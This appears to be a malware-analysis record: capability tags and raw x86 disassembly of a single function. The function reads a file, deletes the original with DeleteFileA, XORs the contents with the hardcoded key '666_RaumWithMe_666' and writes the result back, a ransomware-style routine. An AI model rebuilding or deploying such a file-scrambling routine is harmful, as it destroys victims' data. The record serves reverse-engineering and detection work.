Function at 0x404710
Capabilities:
Delete file
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18c
push ebx
push esi
push edi
mov ebx, ecx
sub esp, 0xc
lea ecx, [ebp - 0xc8]
push ebx
call fcn.00401400
mov edx, dword [ebp - 0xc8]
mov eax, dword [edx + 4]
test byte [ebp + eax - 0xbc], 6
je 0x404747
xor bl, bl
jmp 0x40499b
push 2
sub esp, 8
lea ecx, [ebp - 0xc8]
call fcn.004012a0
lea eax, [ebp - 0x188]
push eax
lea ecx, [ebp - 0xc8]
call fcn.00401370
mov edi, dword [eax + 8]
add edi, dword [eax]
push 0
sub esp, 8
lea ecx, [ebp - 0xc8]
call fcn.004012a0
push edi
call fcn.0040862d
mov esi, eax
mov eax, edi
cdq
mov ecx, eax
add esp, 4
mov eax, edx
push eax
push ecx
mov dword [ebp - 4], ecx
push esi
lea ecx, [ebp - 0xc8]
mov dword [ebp - 0xc], eax
call fcn.00401160
lea ecx, [ebp - 0xb8]
call fcn.00402180
test eax, eax
jne 0x4047e5
mov eax, dword [ebp - 0xc8]
lea ecx, [ebp - 0xc8]
mov eax, dword [eax + 4]
add ecx, eax
mov eax, dword [ecx + 0xc]
or eax, 2
cmp dword [ecx + 0x38], 0
jne 0x4047d3
or eax, 4
and eax, 0x17
mov dword [ecx + 0xc], eax
test dword [ecx + 0x10], eax
je 0x4047e5
push 0
call fcn.00403af0
push ebx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
xor ecx, ecx
test edi, edi
je 0x404816
mov dword [ebp - 8], 0x12
lea esp, [esp]
mov eax, ecx
xor edx, edx
div dword [ebp - 8]
inc ecx
mov al, byte [edx + str.666_RaumWithMe_666]
xor byte [ecx + esi - 1], al
cmp ecx, edi
jb 0x404800
sub esp, 0xc
lea ecx, [ebp - 0x170]
push ebx
call fcn.00401df0
mov eax, dword [ebp - 0x170]
mov eax, dword [eax + 4]
test byte [ebp + eax - 0x164], 6
je 0x404845
push esi
call fcn.00409151
add esp, 4
xor bl, bl
jmp 0x4048a3
push dword [ebp - 0xc]
lea ecx, [ebp - 0x170]
push dword [ebp - 4]
push esi
call section..text
lea ecx, [ebp - 0x16c]
call fcn.00402180
test eax, eax
jne 0x404898
mov eax, dword [ebp - 0x170]
lea ecx, [ebp - 0x170]
mov eax, dword [eax + 4]
add ecx, eax
mov eax, dword [ecx + 0xc]
or eax, 2
cmp dword [ecx + 0x38], 0
jne 0x404886
or eax, 4
and eax, 0x17
mov dword [ecx + 0xc], eax
test dword [ecx + 0x10], eax
je 0x404898
push 0
call fcn.00403af0
push esi
call fcn.00409151
add esp, 4
mov bl, 1
mov eax, dword [ebp - 0x170]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_ofstream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x170]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x60]
mov dword [ebp + ecx - 0x174], eax
cmp dword [ebp - 0x11c], 0
mov dword [ebp - method.std::basic_filebuf_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_filebuf_char__struct_std::char_traits_char__.0
je 0x40490d
mov edx, dword [ebp - 0x160]
lea eax, [ebp - 0x128]
cmp dword [edx], eax
jne 0x40490d
mov eax, dword [ebp - 0x134]
mov ecx, dword [ebp - 0x130]
mov dword [edx], eax
mov eax, dword [ebp - 0x150]
mov dword [eax], ecx
mov eax, dword [ebp - 0x140]
sub ecx, ecx
mov dword [eax], ecx
cmp byte [ebp - 0x120], 0
je 0x404921
lea ecx, [ebp - 0x16c]
call fcn.00402180
mov esi, dword [ebp - 0x138]
mov dword [ebp - method.std::basic_streambuf_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_streambuf_char__struct_std::char_traits_char__.0
test esi, esi
je 0x404955
mov ecx, dword [esi]
test ecx, ecx
je 0x40494c
mov eax, dword [ecx]
call dword [eax + 8]
test eax, eax
je 0x40494c
mov edx, dword [eax]
push 1
mov ecx, eax
call dword [edx]
push esi
call fcn.00409339
add esp, 4
mov eax, dword [ebp - 0x170]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_ostream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_ostream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x170]
mov ecx, dword [eax + 4]
lea eax, [ecx - 8]
mov dword [ebp + ecx - 0x174], eax
lea eax, [ebp - 0x110]
push eax
mov dword [ebp - method.std::basic_ios_char__struct_std::char_traits_char__.virtual_0], vtable.std::ios_base.0
call fcn.004085ae
mov edx, dword [ebp - 0xc8]
add esp, 4
mov eax, dword [edx + 4]
mov dword [ebp + eax - 0xc8], vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0xc8]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x70]
mov dword [ebp + ecx - 0xcc], eax
cmp dword [ebp - 0x68], 0
mov dword [ebp - 0xb8], vtable.std::basic_filebuf_char__struct_std::char_traits_char__.0
je 0x4049f3
mov edx, dword [ebp - 0xac]
lea eax, [ebp - 0x74]
cmp dword [edx], eax
jne 0x4049f3
mov eax, dword [ebp - 0x80]
mov ecx, dword [ebp - 0x7c]
mov dword [edx], eax
mov eax, dword [ebp - 0x9c]
mov dword [eax], ecx
mov eax, dword [ebp - 0x8c]
sub ecx, ecx
mov dword [eax], ecx
cmp byte [ebp - 0x6c], 0
je 0x404a04
lea ecx, [ebp - 0xb8]
call fcn.00402180
mov esi, dword [ebp - 0x84]
mov dword [ebp - 0xb8], vtable.std::basic_streambuf_char__struct_std::char_traits_char__.0
test esi, esi
je 0x404a38
mov ecx, dword [esi]
test ecx, ecx
je 0x404a2f
mov eax, dword [ecx]
call dword [eax + 8]
test eax, eax
je 0x404a2f
mov edx, dword [eax]
push 1
mov ecx, eax
call dword [edx]
push esi
call fcn.00409339
add esp, 4
mov eax, dword [ebp - 0xc8]
mov eax, dword [eax + 4]
mov dword [ebp + eax - 0xc8], vtable.std::basic_istream_char__struct_std::char_traits_char__.0
mov ecx, dword [ebp - 0xc8]
lea eax, [ebp - 0x58]
mov edx, dword [ecx + 4]
push eax
lea ecx, [edx - 0x18]
mov dword [ebp + edx - 0xcc], ecx
mov dword [ebp - 0x58], vtable.std::ios_base.0
call fcn.004085ae
add esp, 4
mov al, bl
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret